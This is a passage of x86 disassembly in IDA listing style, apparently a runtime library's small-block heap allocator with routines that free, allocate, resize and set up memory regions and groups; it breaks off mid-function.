loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC934
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC92C
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC92C
		mov	eax, dword_4DC934
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC934
		mov	ecx, dword_4DC92C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC934
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC934
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC934


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC934
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 279067Ch
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC934
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC938
		cmp	eax, dword_4DC934
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC93C
		mov	dword_4DC930, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC92C, edi
		mov	dword_4DC934, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC930
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC930, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC934
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC92C
		jnz	short loc_41E4C7
		and	dword_4DC934, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC938
		mov	ecx, dword_4DC928
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC93C
		push	edi
		push	dword_4DC944
		call	near ptr 2840000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC928, 10h
		mov	dword_4DC93C, eax
		mov	eax, dword_4DC938


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC93C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC944
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27A0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28A061Ch
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC944
		call	near ptr 279067Ch
		nop


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC938
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28A061Ch
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
